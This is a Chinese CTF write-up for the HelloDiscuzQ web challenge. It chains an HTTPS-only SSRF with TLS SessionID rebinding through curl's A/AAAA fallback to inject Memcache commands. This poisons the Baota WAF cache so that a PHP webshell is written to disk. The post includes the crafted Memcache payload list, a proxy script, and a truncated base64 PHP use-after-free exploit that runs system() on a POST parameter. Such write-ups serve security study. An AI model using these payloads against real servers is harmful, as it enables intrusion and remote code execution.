Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势

基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势

作者头像
安恒网络空间安全讲武堂
发布于 2020-11-03 06:34:41
发布于 2020-11-03 06:34:41
4.5K00
代码可运行
举报
运行总次数:0
代码可运行

概述

之前看到研究院的同学写了一篇关于今年 Blackhat 议题的分析https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw,对其中的原理比较感兴趣,再结合自己之前在审计 DiscuzQ 代码时发现的一个 HTTP/HTTPS 的无回显SSRF 点结合宝塔的 WAF 所依赖的 Memcache 形成一套完整的题目,也算是该种利用方式的复现环境了。

背景

何谓 SSRF

在计算机安全中,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。 服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。 WIKIPEDIA SSRF解析(HTTPS://ZH.WIKIPEDIA.ORG/WIKI/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)

由此可见,我们可以利用 SSRF 漏洞来让服务器作为一个代理,让漏洞服务器去访问我们想让他访问的东西,即便这个东西是只有漏洞服务器本身能访问,例如与漏洞服务器同处一个内网的数据库等。

DNS Rebinding

DNS重新绑定是计算机攻击的一种形式。在这种攻击中,恶意网页会导致访问者运行客户端脚本,攻击网络上其他地方的计算机。从理论上讲,同源策略可防止发生这种情况:客户端脚本只能访问为脚本提供服务的同一主机上的内容。比较域名是实施此策略的重要部分,因此DNS重新绑定通过滥用域名系统(DNS)来绕过这种保护。 这种攻击可以通过让受害者的网络浏览器访问专用IP地址的机器并将结果返回给攻击者来破坏专用网络。它也可以用于使用受害者机器发送垃圾邮件,分布式拒绝服务攻击或其他恶意活动。 WIKIPEDIA DNS重新绑定攻击(https://zh.wikipedia.org/wiki/DNS%E9%87%8D%E6%96%B0%E7%BB%91%E5%AE%9A%E6%94%BB%E5%87%BB)

简单来说,就是在请求时会先验证请求地址中的域名解析结果,如果为合法地址(例如外网地址)则发送出正式请求,否则就拒绝发出。

例如,在程序请求一个URL 时,程序会先提取出其中的 Host,判断其是否为外网地址,如果是则正式发出请求。

这里就最多存在两次 DNS 解析,一次是程序提取出 Host 进行的一次解析,第二次则是正式发出请求时会再做一次解析。

为什么说是最多存在两次呢,因为很多系统有 DNS 缓存,会依据请求的 TTL(Time To Live,存活时间,下同)进行缓存,例如这一个域名记录的 TTL 是 600 秒,第一次请求与第二次请求之间间隔不足 600 秒的话第二次请求就会直接用第一次请求的结果,那么这两者就当然是一样的了。

那么我们可不可以将这个时间设置为 0,在第一期请求时是一个结果,第二次再做请求时则再去请求一次,这一次请求则返回另外一个结果呢?大部分 DNS 服务商不会允许你将 TTL 设置为0,但如果你将 NS 设置为你自己的服务器之后再尝试做请求的话就可以返回 TTL 为 0 的结果,从而强制客户端请求两次解析,两次解析你服务端也可以控制返回不同的结果了。

TLS SSRF

我们可以利用 TLS 协议的 SNI (服务端名称指示)来进行 SSRF。原理为让服务器对外发出 TLS 包,里面含有我们想让其发送的东西。具体可以参见 https://news.ycombinator.com/item?id=17956285 ,但这种方式的局限性比较大,一个是我测试到的客户端(比如 curl 等等)都发不出这种请求。

关于 When TLS hacks You

结合上面提到的研究院小伙伴的文章以及 https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf 原议题的 PPT,我们可以发现一种新的攻击方式,即利用 TLS 中的 SessionID 结合 DNS 重绑定进行攻击。

大致流程如下:

  1. 利用服务器发起一个 HTTPS 请求。
  2. 请求时会发起一个 DNS 解析请求,DNS 服务器回应一个 TTL 为 0 的结果,指向攻击者的服务器。
  3. 攻击者服务器响应请求,并返回一个精心构造过的 SessionID,并延迟几秒后回应一个跳转。
  4. 客户端接收到这个回应之后会进行跳转,这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0,则会再次发起一次解析请求,这次返回的结果则会指向 SSRF 攻击的目标(例如本地的数据库)。
  5. 因为请求和跳转时的域名都没有变更,本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行,发送到目标的那个端口上。
  6. 则达到目的,成功对目标端口发送构造过的数据,成功 SSRF。

但在实际测试中,我们发现,当第一次请求完成之后,进行跳转时所发出的请求并不会再做一次解析请求,经过探究我们发现是因为这些客户端(例如 curl)中对 DNS 解析结果做了强制缓存,在第二次请求时直接使用第一次解析的结果,导致第二次应该按照 DNS TTL 0 的解析结果发出的第二次解析没有进行。

curl 如此,所有依赖 libcurl 的请求库亦然,那么对于这种情况我们应该如何进行攻击利用呢?

接下来以西湖论剑 2020 的一道 Web 题 HelloDiscuzQ 为例子,来介绍一下利用 A 记录和 AAAA 记录结合 TLS 进行 SSRF。

题目解析

题目名称

HelloDiscuzQ

复现地址

http://hellodiscuzq.xhlj.wetolink.com/

所涉及知识点

  • 代码审计
  • 新型 SSRF
  • Lua 语言特性
  • PHP bypass disable function

步骤

1.打开靶机,是 DiscuzQ 系统。

2. 那么就到官网下载代码审计下。

下载之后开始审计,发现其中在

app/Api/Controller/Analysis/ResourceAnalysisGoodsController.php 这里有一个 SSRF 点,根据输入地址的不同判断之后进入 guzzlehttp(底层调用 curl 相关函数) 和 file_get_contents 的请求分支。

结合前面的代码来看,虽然此处请求 URL 可控,但限制死了只允许访问 http 和 https 的地址,其他地址无法访问,file_get_contents 和 guzzlehttp 也无法跳转到 gopher 以及 file 等协议。

来调用这个 API 试试,这个 API 的地址是这个。

直接请求,要求验证。

那么就在网站上注册一个用户,尝试利用 https://discuz.com/api-docs/v1/Login.html 这里的接口登录一下获取凭证。

拷贝 access_token 到 Authorization 头,再对上面那个 API 发起请求让他去请求别的页面。

点击发送,就会发送请求到自己的 requestbin 上。

3.那么先利用 SSRF 来探测一下本地有什么服务。

本地其他未开放端口都会回显 Connection Refused。

但对于开放的端口,则是其他回显。

综合探测以及回显结果,可以发现

80,888,8888,3306,11211端口开放。

判断有 http 服务器,mysql 服务器,memcache 服务器,且为宝塔面板搭建。

4.那么如何判断 HTTP 服务器的种类以及反向代理过去的 Host 呢?

看 HTTP 响应头?不行,因为那是反向代理的响应头。

那么就来访问一下一些特定的页面看看回显,比如,尝试把他的错误页面搞出来。

利用 SSRF 来访问 80 端口上 HTTP 服务器上的一些不存在文件看看。

有部分内容回显,根据这些综合比对 Apache,Nginx 等服务器的 404 页面确定为 Apache。

服务器类型有了,对于反向代理发过去宝塔的 Apache 的 Host 如何获取呢,我们可以通过反向代理访问 .htaccess 文件,看看后端返回的错误页面。

http://hellodiscuzq.xhlj.wetolink.com/.htaccess

从这个页面中除了可以获知服务器为 Apache 服务器之外,也可得知反向代理的主机头为 10.20.124.208。

5.再来测试一下是否有启用 WAF。

http://hellodiscuzq.xhlj.wetolink.com/pages/topic/index?id=2%20or%201=1

看到拦截页面,为宝塔 WAF。

结合上面看到的服务器为 Apache 服务器,推测此 WAF 为宝塔 Apache WAF,运行需要依赖 Memcache 服务器,所以解释了为什么会有 Memcache 服务器。

6.来审计一下宝塔 Apache WAF的代码看看。

看到 /www/server/btwaf/httpd.lua 宝塔 Apache WAF 的主文件。

看到 307 行的调用,作用为拦截之后记录到日志文件里。

追踪看 write_to_file 这个函数,看到其文件路径为拼接得来。

其中参与拼接的 server_name 为全局变量,在运行起始时有定义。

因为在宝塔中一个网站可以绑定多个域名,则在 get_server_name 函数中会先将请求的 Host 与缓存进行匹配,获取到最终是哪个网站,如果缓存中有则直接返回网站的主 Host。

7.那么我们就可以在缓存中写入一个恶意的主机名,使其拼接到路径中,造成任意文件写入。

且内容我们也同样可控,前面的 uri,ua 等写入内容我们均可控。

8.最终的攻击路径如下:

  • SSRF 攻击 Memcache,将恶意的 Host 写入 Memcache。
  • 使用恶意请求去访问网站,即可触发日志记录,拼接路径之后造成任意文件写入拿到权限。

9.首先是 SSRF 攻击 Memcache。

因为我们之前看到的是只允许访问 HTTP/HTTPS 的 SSRF 点,我们就要尝试利用 HTTPS 中 TLS 的 SessionID 去攻击 Memcache 进而写入我们想要的 Host。

预期写入的内容为

  • key:10.20.124.208
  • vaue: ../../wwwroot/10.20.124.208/public/a.php\x00(EOF)

路径可从自己安装的宝塔以及 DiscuzQ 中获得。

为什么会有一个 \x00 EOF 字符呢,因为在我们上面看到的代码中 server_name 位于字符串中间位置,前后还有内容,在 Lua 中我们可以利用 \x00 EOF 字符来截断它,从而让他准确地写入我们想要写入的命令。

那么写入 Memcahce 的命令如何呢?

按理来说应该是

set 10.20.124.208 ../../wwwroot/10.20.124.208/public/a.php\x00

但因为 SessionID 只能为 32 字节长,所以我们需要分段写入。

Memcache 中提供了追加写入的命令 append,我们可以利用这个来绕过长度的限制写入我们的路径。

最终我们的命令集如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
session_id = [
        "\nset 10.20.124.208 0 0 5\n../..\r\n",
        "\nappend 10.20.124.208 0 0 2\n/w\r\n",
        "\nappend 10.20.124.208 0 0 2\nww\r\n",
        "\nappend 10.20.124.208 0 0 2\nro\r\n",
        "\nappend 10.20.124.208 0 0 2\not\r\n",
        "\nappend 10.20.124.208 0 0 2\n/1\r\n",
        "\nappend 10.20.124.208 0 0 2\n0.\r\n",
        "\nappend 10.20.124.208 0 0 2\n20\r\n",
        "\nappend 10.20.124.208 0 0 2\n.1\r\n",
        "\nappend 10.20.124.208 0 0 2\n24\r\n",
        "\nappend 10.20.124.208 0 0 2\n.2\r\n",
        "\nappend 10.20.124.208 0 0 2\n08\r\n",
        "\nappend 10.20.124.208 0 0 2\n/p\r\n",
        "\nappend 10.20.124.208 0 0 2\nub\r\n",
        "\nappend 10.20.124.208 0 0 2\nli\r\n",
        "\nappend 10.20.124.208 0 0 2\nc/\r\n",
        "\nappend 10.20.124.208 0 0 2\na.\r\n",
        "\nappend 10.20.124.208 0 0 2\nph\r\n",
        "\nappend 10.20.124.208 0 0 2\np\x00\r\n",
    ]

前面都有 \n 后面也有 \r\n,标记 Memcache 命令的开始和结束。

那么如何让 SSRF 漏洞点每一次请求都会先请求我们的恶意 TLS 服务器,将这些 SessionID 拿到再去请求 Memcache 服务器。

那么这里就需要利用到 CURL 中一种特殊的请求行为了,也就是对同时具有 A 记录和 AAAA 记录的域名的解析行为。

在 CURL 中,对于一个域名,如果同时具有 A 记录和 AAAA 记录,那么 CURL 会去优先请求 AAAA 或者 A 记录所指向的地址,如果这些地址无法连接,则会尝试连接同时得到的 A 记录或者 AAAA 记录。

在某些情况下,会出现:

AAAA 记录地址不通,会连接到 A 记录地址上。

A记录地址不通,会连接到 AAAA 记录地址上。

例如,

第一个地址不通,则会尝试第二个地址。

那么我们可以这样做:

  • 第一次让 CURL 去访问恶意的 HTTPS 服务器,拿到一个恶意的 SessionID
  • 然后使恶意的 HTTPS 服务器无法接收新的连接
  • 这时恶意的 HTTPS 给出第一次返回的结果,使其进行同域名跳转
  • 跳转时会尝试进行新连接,发现恶意的HTTPS 服务器无法连接。
  • 则会尝试连接这个域名下的其他记录所指向的地址,并带上 SessionID

成功将恶意的数据发送到我们想要的目标上。

那么来实际操作下。

首先将恶意的 HTTPS 服务器搭建起来,服务器源码在这里。

https://github.com/glzjin/tlslite-ng

tests 下直接运行 ./httpsserver.sh,自己复现注意替换证书等相关设置,证书自己申请。

然后我们还要让他连接一次以后无法被第二次连接,就搭建一个代理来完成,代理脚本如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# coding=utf-8

import socket
import threading

source_host = '127.0.0.1'
source_port = 11210

desc_host = '0.0.0.0'
desc_port = 11211

def send(sender, recver):
    while 1:
        try:
            data = sender.recv(2048)
        except:
            break
            print "recv error"

        try:
            recver.sendall(data)
        except:
            break
            print "send error"
    sender.close()
    recver.close()

def proxy(client):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((source_host, source_port))
    threading.Thread(target=send, args=(client, server)).start()
    threading.Thread(target=send, args=(server, client)).start()

def main():
    proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_server.bind((desc_host, desc_port))
    proxy_server.listen(50)

    print "Proxying from %s:%s to %s:%s ..."%(source_host, source_port, desc_host, desc_port)
    
    conn, addr = proxy_server.accept()
    print "received connect from %s:%s"%(addr[0], addr[1])
    threading.Thread(target=proxy, args=(conn, )).start()

if __name__ == '__main__':
    main()

代理 11211 端口到 11210 端口,直接 python 运行即可。

接下来别忘了将 A 记录 和 AAAA 记录给域名设置上。

AAAA 记录指向自己可以控制的恶意 HTTPS 服务器,A 记录指向 127.0.0.1。AAAA 记录值填写的虽然是 IPV6 的地址,但其实访问还是走的 IPV4 的通道,这类地址可通过

https://www.ultratools.com/tools/ipv4toipv6Result?address=120.92.217.158 得来。

这种应对的是 AAAA 记录优先的情况,如果出现 A 记录优先的情况请注意随机应变。

万事具备,那么就来试一试了。

触发 SSRF,可以看到其被请求之后拿到了恶意的 SessionID,之后就会带着这些数据去请求本地的 memcache 了。(如果没有请求到自己的服务器就多点几次)

然后再次把代理脚本跑起来。

继续请求。

继续写数据进去。

如此往复,直到把所有数据都写过去。

10.然后就可以用一个恶意请求触发 WAF 日志。

为了避免我们之后的代码被拦截,这里使用 base64 编码传输。

11. 尝试访问 a.php,可以看到文件已经成功写入。

http://hellodiscuzq.xhlj.wetolink.com/a.php

12.尝试执行一下 phpinfo 试试。

先将 phpinfo(); base64 编码。

然后发送出去。

13.简单看一下,有 disable_function 和 open_basedir,需要绕过。

PHP 版本为 7.4.10,则使用 https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/ 这里的脚本进行绕过。

将其编码为 base64。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* IwojIFBIUCBTcGxEb3VibHlMaW5rZWRMaXN0OjpvZmZzZXRVbnNldCBVQUYKIyBDaGFybGVzIEZvbCAoQGNmcmVhbF8pCiMgMjAyMC0wOC0wNwojIFBIUCBpcyB2dWxuZXJhYmxlIGZyb20gNS4zIHRvIDguMCBhbHBoYQojIFRoaXMgZXhwbG9pdCBvbmx5IHRhcmdldHMgUEhQNysuCiMKIyBTcGxEb3VibHlMaW5rZWRMaXN0IGlzIGEgZG91Ymx5LWxpbmtlZCBsaXN0IChETEwpIHdoaWNoIHN1cHBvcnRzIGl0ZXJhdGlvbi4KIyBTYWlkIGl0ZXJhdGlvbiBpcyBkb25lIGJ5IGtlZXBpbmcgYSBwb2ludGVyIHRvIHRoZSAiY3VycmVudCIgRExMIGVsZW1lbnQuCiMgWW91IGNhbiB0aGVuIGNhbGwgbmV4dCgpIG9yIHByZXYoKSB0byBtYWtlIHRoZSBETEwgcG9pbnQgdG8gYW5vdGhlciBlbGVtZW50LgojIFdoZW4geW91IGRlbGV0ZSBhbiBlbGVtZW50IG9mIHRoZSBETEwsIFBIUCB3aWxsIHJlbW92ZSB0aGUgZWxlbWVudCBmcm9tIHRoZQojIERMTCwgdGhlbiBkZXN0cm95IHRoZSB6dmFsLCBhbmQgZmluYWxseSBjbGVhciB0aGUgY3VycmVudCBwdHIgaWYgaXQgcG9pbnRzCiMgdG8gdGhlIGVsZW1lbnQuIFRoZXJlZm9yZSwgd2hlbiB0aGUgenZhbCBpcyBkZXN0cm95ZWQsIGN1cnJlbnQgaXMgc3RpbGwKIyBwb2ludGluZyB0byB0aGUgYXNzb2NpYXRlZCBlbGVtZW50LCBldmVuIGlmIGl0IHdhcyByZW1vdmVkIGZyb20gdGhlIGxpc3QuCiMgVGhpcyBhbGxvd3MgZm9yIGFuIGVhc3kgVUFGLCBiZWNhdXNlIHlvdSBjYW4gY2FsbCAkZGxsLT5uZXh0KCkgb3IKIyAkZGxsLT5wcmV2KCkgaW4gdGhlIHp2YWwncyBkZXN0cnVjdG9yLgojICAKIwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwpkZWZpbmUoJ05CX0RBTkdMSU5HJywgMjAwKTsKZGVmaW5lKCdTSVpFX0VMRU1fU1RSJywgNDAgLSAyNCAtIDEpOwpkZWZpbmUoJ1NUUl9NQVJLRVInLCAweGNmNWVhMSk7CmZ1bmN0aW9uIGkycygmJHMsICRwLCAkaSwgJHg9OCkKewogICAgZm9yKCRqPTA7JGo8JHg7JGorKykKICAgIHsKICAgICAgICAkc1skcCskal0gPSBjaHIoJGkgJiAweGZmKTsKICAgICAgICAkaSA+Pj0gODsKICAgIH0KfQpmdW5jdGlvbiBzMmkoJiRzLCAkcCwgJHg9OCkKewogICAgJGkgPSAwOwogICAgZm9yKCRqPSR4LTE7JGo+PTA7JGotLSkKICAgIHsKICAgICAgICAkaSA8PD0gODsKICAgICAgICAkaSB8PSBvcmQoJHNbJHArJGpdKTsKICAgIH0KICAgIHJldHVybiAkaTsKfQpjbGFzcyBVQUZUcmlnZ2VyCnsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIGdsb2JhbCAkZGxscywgJHN0cnMsICRyd19kbGwsICRmYWtlX2RsbF9lbGVtZW50LCAkbGVha2VkX3N0cl9vZmZzZXRzOwogICAgICAgICMicHJpbnQoJ1VBRiBfX2Rlc3RydWN0OiAnIC4gIlxuIik7CiAgICAgICAgJGRsbHNbTkJfREFOR0xJTkddLT5vZmZzZXRVbnNldCgwKTsKICAgICAgICAKICAgICAgICAjIEF0IHRoaXMgcG9pbnQgZXZlcnkgJGRsbC0+Y3VycmVudCBwb2ludHMgdG8gdGhlIHNhbWUgZnJlZWQgY2h1bmsuIFdlIGFsbG9jYXRlCiAgICAgICAgIyB0aGF0IGNodW5rIHdpdGggYSBzdHJpbmcsIGFuZCBmaWxsIHRoZSB6dmFsIHBhcnQKICAgICAgICAkZmFrZV9kbGxfZWxlbWVudCA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0EnLCBTSVpFX0VMRU1fU1RSKSk7CiAgICAgICAgaTJzKCRmYWtlX2RsbF9lbGVtZW50LCAweDAwLCAweDEyMzQ1Njc4KTsgIyBwdHIKICAgICAgICBpMnMoJGZha2VfZGxsX2VsZW1lbnQsIDB4MDgsIDB4MDAwMDAwMDQsIDcpOyAjIHR5cGUgKyBvdGhlciBzdHVmZgogICAgICAgIAogICAgICAgICMgRWFjaCBvZiB0aGVzZSBkbGxzIGN1cnJlbnQtPm5leHQgcG9pbnRlcnMgcG9pbnQgdG8gdGhlIHNhbWUgbG9jYXRpb24sCiAgICAgICAgIyB0aGUgc3RyaW5nIHdlIGFsbG9jYXRlZC4gV2hlbiBjYWxsaW5nIG5leHQoKSwgb3VyIGZha2UgZWxlbWVudCBiZWNvbWVzCiAgICAgICAgIyB0aGUgY3VycmVudCB2YWx1ZSwgYW5kIGFzIHN1Y2ggaXRzIHJjIGlzIGluY3JlbWVudGVkLiBTaW5jZSByYyBpcyBhdAogICAgICAgICMgdGhlIHNhbWUgcGxhY2UgYXMgemVuZF9zdHJpbmcubGVuLCB0aGUgbGVuZ3RoIG9mIHRoZSBzdHJpbmcgZ2V0cyBiaWdnZXIsCiAgICAgICAgIyBhbGxvd2luZyB0byBSL1cgYW55IHBhcnQgb2YgdGhlIGZvbGxvd2luZyBtZW1vcnkKICAgICAgICBmb3IoJGkgPSAwOyAkaSA8PSBOQl9EQU5HTElORzsgJGkrKykKICAgICAgICAgICAgJGRsbHNbJGldLT5uZXh0KCk7CiAgICAgICAgaWYoc3RybGVuKCRmYWtlX2RsbF9lbGVtZW50KSA8PSBTSVpFX0VMRU1fU1RSKQogICAgICAgICAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBmYWtlX2RsbF9lbGVtZW50IGRpZCBub3QgaW5jcmVhc2UgaW4gc2l6ZScpOwogICAgICAgIAogICAgICAgICRsZWFrZWRfc3RyX29mZnNldHMgPSBbXTsKICAgICAgICAkbGVha2VkX3N0cl96dmFsID0gW107CiAgICAgICAgIyBJbiB0aGUgbWVtb3J5IGFmdGVyIG91ciBmYWtlIGVsZW1lbnQsIHRoYXQgd2UgY2FuIG5vdyByZWFkIGFuZCB3cml0ZSwKICAgICAgICAjIHRoZXJlIGFyZSBsb3RzIG9mIHplbmRfc3RyaW5nIGNodW5rcyB0aGF0IHdlIGFsbG9jYXRlZC4gV2Uga2VlcCB0aHJlZSwKICAgICAgICAjIGFuZCB3ZSBrZWVwIHRyYWNrIG9mIHRoZWlyIG9mZnNldHMuCiAgICAgICAgZm9yKCRvZmZzZXQgPSBTSVpFX0VMRU1fU1RSICsgMTsgJG9mZnNldCA8PSBzdHJsZW4oJGZha2VfZGxsX2VsZW1lbnQpIC0gNDA7ICRvZmZzZXQgKz0gNDApCiAgICAgICAgewogICAgICAgICAgICAjIElmIHdlIGZpbmQgYSBzdHJpbmcgbWFya2VyLCBwdWxsIGl0IGZyb20gdGhlIHN0cmluZyBsaXN0CiAgICAgICAgICAgIGlmKHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJG9mZnNldCArIDB4MTgpID09IFNUUl9NQVJLRVIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRsZWFrZWRfc3RyX29mZnNldHNbXSA9ICRvZmZzZXQ7CiAgICAgICAgICAgICAgICAkbGVha2VkX3N0cl96dmFsW10gPSAkc3Ryc1tzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRvZmZzZXQgKyAweDIwKV07CiAgICAgICAgICAgICAgICBpZihjb3VudCgkbGVha2VkX3N0cl96dmFsKSA9PSAzKQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKGNvdW50KCRsZWFrZWRfc3RyX3p2YWwpICE9IDMpCiAgICAgICAgICAgIGRpZSgnRXhwbG9pdCBmYWlsZWQ6IHVuYWJsZSB0byBsZWFrIHRocmVlIHplbmRfc3RyaW5ncycpOwogICAgICAgIAogICAgICAgICMgZnJlZSB0aGUgc3RyaW5ncywgZXhjZXB0IHRoZSB0aHJlZSB3ZSBuZWVkCiAgICAgICAgJHN0cnMgPSBudWxsOwogICAgICAgICMgTGVhayBhZHJlc3Mgb2YgZmlyc3QgY2h1bmsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzBdKTsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzFdKTsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzJdKTsKICAgICAgICAkZmlyc3RfY2h1bmtfYWRkciA9IHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1sxXSk7CiAgICAgICAgIyBBdCB0aGlzIHBvaW50IHdlIGhhdmUgMyBmcmVlZCBjaHVua3Mgb2Ygc2l6ZSA0MCwgd2hpY2ggd2UgY2FuIHJlYWQvd3JpdGUsCiAgICAgICAgIyBhbmQgd2Uga25vdyB0aGVpciBhZGRyZXNzLgogICAgICAgIHByaW50KCdBZGRyZXNzIG9mIGZpcnN0IFJXIGNodW5rOiAweCcgLiBkZWNoZXgoJGZpcnN0X2NodW5rX2FkZHIpIC4gIlxuIik7CiAgICAgICAgIyBJbiB0aGUgdGhpcmQgb25lLCB3ZSB3aWxsIGFsbG9jYXRlIGEgRExMIGVsZW1lbnQgd2hpY2ggcG9pbnRzIHRvIGEgemVuZF9hcnJheQogICAgICAgICRyd19kbGwtPnB1c2goWzNdKTsKICAgICAgICAkYXJyYXlfYWRkciA9IHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1syXSArIDB4MTgpOwogICAgICAgICMgQ2hhbmdlIHRoZSB6dmFsIHR5cGUgZnJvbSB6ZW5kX29iamVjdCB0byB6ZW5kX3N0cmluZwogICAgICAgIGkycygkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1syXSArIDB4MjAsIDB4MDAwMDAwMDYpOwogICAgICAgIGlmKGdldHR5cGUoJHJ3X2RsbFswXSkgIT0gJ3N0cmluZycpCiAgICAgICAgICAgIGRpZSgnRXhwbG9pdCBmYWlsZWQ6IFVuYWJsZSB0byBjaGFuZ2UgemVuZF9hcnJheSB0byB6ZW5kX3N0cmluZycpOwogICAgICAgIAogICAgICAgICMgV2UgY2FuIG5vdyByZWFkIGFueXRoaW5nOiBpZiB3ZSB3YW50IHRvIHJlYWQgMHgxMTIyMzMwMCwgd2UgbWFrZSB6ZW5kX3N0cmluZyoKICAgICAgICAjIHBvaW50IHRvIDB4MTEyMjMzMDAtMHgxMCwgYW5kIHJlYWQgaXRzIHNpemUgdXNpbmcgc3RybGVuKCkKICAgICAgICAjIFJlYWQgemVuZF9hcnJheS0+cERlc3RydWN0b3IKICAgICAgICAkenZhbF9wdHJfZHRvcl9hZGRyID0gcmVhZCgkYXJyYXlfYWRkciArIDB4MzApOwogICAgCiAgICAgICAgcHJpbnQoJ0xlYWtlZCB6dmFsX3B0cl9kdG9yIGFkZHJlc3M6IDB4JyAuIGRlY2hleCgkenZhbF9wdHJfZHRvcl9hZGRyKSAuICJcbiIpOwogICAgICAgICMgVXNlIGl0IHRvIGZpbmQgemlmX3N5c3RlbQogICAgICAgICRzeXN0ZW1fYWRkciA9IGdldF9zeXN0ZW1fYWRkcmVzcygkenZhbF9wdHJfZHRvcl9hZGRyKTsKICAgICAgICBwcmludCgnR290IFBIUF9GVU5DVElPTihzeXN0ZW0pOiAweCcgLiBkZWNoZXgoJHN5c3RlbV9hZGRyKSAuICJcbiIpOwogICAgICAgIAogICAgICAgICMgSW4gdGhlIHNlY29uZCBmcmVlZCBibG9jaywgd2UgY3JlYXRlIGEgY2xvc3VyZSBhbmQgY29weSB0aGUgemVuZF9jbG9zdXJlIHN0cnVjdAogICAgICAgICMgdG8gYSBzdHJpbmcKICAgICAgICAkcndfZGxsLT5wdXNoKGZ1bmN0aW9uICgkeCkge30pOwogICAgICAgICRjbG9zdXJlX2FkZHIgPSBzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMV0gKyAweDE4KTsKICAgICAgICAkZGF0YSA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0EnLCAweDIwMCkpOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMzg7ICRpICs9IDgpCiAgICAgICAgewogICAgICAgICAgICBpMnMoJGRhdGEsICRpLCByZWFkKCRjbG9zdXJlX2FkZHIgKyAkaSkpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAjIENoYW5nZSBpbnRlcm5hbCBmdW5jIHR5cGUgYW5kIHBvaW50ZXIgdG8gbWFrZSB0aGUgY2xvc3VyZSBleGVjdXRlIHN5c3RlbSBpbnN0ZWFkCiAgICAgICAgaTJzKCRkYXRhLCAweDM4LCAxLCA0KTsKICAgICAgICBpMnMoJGRhdGEsIDB4NjgsICRzeXN0ZW1fYWRkcik7CiAgICAgICAgCiAgICAgICAgIyBQdXNoIG91ciBzdHJpbmcsIHdoaWNoIGNvbnRhaW5zIGEgZmFrZSB6ZW5kX2Nsb3N1cmUsIGluIHRoZSBsYXN0IGZyZWVkIGNodW5rIHRoYXQKICAgICAgICAjIHdlIGNvbnRyb2wsIGFuZCBtYWtlIHRoZSBzZWNvbmQgenZhbCBwb2ludCB0byBpdC4KICAgICAgICAkcndfZGxsLT5wdXNoKCRkYXRhKTsKICAgICAgICAkZmFrZV96ZW5kX2Nsb3N1cmUgPSBzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMF0gKyAweDE4KSArIDI0OwogICAgICAgIGkycygkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1sxXSArIDB4MTgsICRmYWtlX3plbmRfY2xvc3VyZSk7CiAgICAgICAgcHJpbnQoJ1JlcGxhY2VkIHplbmRfY2xvc3VyZSBieSB0aGUgZmFrZSBvbmU6IDB4JyAuIGRlY2hleCgkZmFrZV96ZW5kX2Nsb3N1cmUpIC4gIlxuIik7CiAgICAgICAgCiAgICAgICAgIyBDYWxsaW5nIGl0IG5vdwogICAgICAgIAogICAgICAgIHByaW50KCdSdW5uaW5nIHN5c3RlbSgiJy4kX1BPU1RbY21kXS4nIik7JyAuICJcbiIpOwogICAgICAgICRyd19kbGxbMV0oJF9QT1NUW2NtZF0pOwogICAgICAgIHByaW50X3IoJ0RPTkUnLiJcbiIpOwogICAgfQp9CmNsYXNzIERhbmdsaW5nVHJpZ2dlcgp7CiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkaSkKICAgIHsKICAgICAgICAkdGhpcy0+aSA9ICRpOwogICAgfQogICAgZnVuY3Rpb24gX19kZXN0cnVjdCgpCiAgICB7CiAgICAgICAgZ2xvYmFsICRkbGxzOwogICAgICAgICNEIHByaW50KCdfX2Rlc3RydWN0OiAnIC4gJHRoaXMtPmkgLiAiXG4iKTsKICAgICAgICAkZGxsc1skdGhpcy0+aV0tPm9mZnNldFVuc2V0KDApOwogICAgICAgICRkbGxzWyR0aGlzLT5pKzFdLT5wdXNoKDEyMyk7CiAgICAgICAgJGRsbHNbJHRoaXMtPmkrMV0tPm9mZnNldFVuc2V0KDApOwogICAgfQp9CmNsYXNzIFN5c3R